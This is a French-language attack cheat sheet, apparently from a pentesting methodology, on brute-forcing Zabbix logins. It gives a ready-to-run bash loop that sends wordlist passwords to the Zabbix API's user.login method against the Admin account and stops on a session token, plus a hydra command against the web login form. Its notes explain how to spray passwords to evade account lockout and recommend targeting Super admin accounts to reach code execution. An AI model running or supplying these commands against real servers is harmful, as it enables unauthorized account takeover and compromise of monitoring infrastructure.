La connexion web de Zabbix (index.php) et l'API (user.login) valident toutes deux les identifiants et sont scriptables, de sorte que le brute force en ligne est simple. L'API est la cible la plus propre : chaque user.login renvoie soit un jeton de session (succès), soit une erreur distincte (échec), de sorte qu'une wordlist contre un compte connu est facile à automatiser et à analyser. Les anciennes versions de Zabbix n'appliquent aucun verrouillage de compte, ce qui rend viable le devinage soutenu ; les versions plus récentes ont ajouté un verrouillage configurable sur les tentatives de connexion, de sorte que contre celles-ci, pulvérisez quelques mots de passe probables plutôt que de brute-forcer un seul compte. Comme toujours, un succès sur Super admin est l'objectif car il mène à l'exécution de code.
Z=https://<target>/zabbix/api_jsonrpc.php; H='Content-Type: application/json-rpc'
# brute one account via the API (parse for a token = success)
while read p; do
r=$(curl -sk $Z -H "$H" -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"Admin","password":"'"$p"'"},"id":1}')
echo "$r" | grep -q '"result"' && { echo "FOUND: $p"; break; }
done < wordlist.txt
# hydra against the web form is an alternative
hydra -l Admin -P wordlist.txt <target> https-post-form \
"/zabbix/index.php:name=^USER^&password=^PASS^&enter=Sign+in:incorrect"
Notes d'exploitation#
- Le succès/échec clair de l'API (jeton vs erreur) en fait la surface de brute force efficace ; le formulaire web fonctionne aussi mais nécessite d'analyser la réponse pour trouver la chaîne d'échec.
- Vérifiez la version pour le verrouillage : les anciennes versions n'en ont aucun (brute force librement), les plus récentes verrouillent après un nombre d'échecs configurable (pulvérisez plutôt pour éviter de verrouiller les comptes).
- Ciblez le ou les comptes Super admin identifiés dans l'énumération des utilisateurs ; un succès sur un compte non admin a moins de valeur.
- Un jeton/identifiant récupéré mène à l'énumération des hôtes/macros et à l'exécution de code.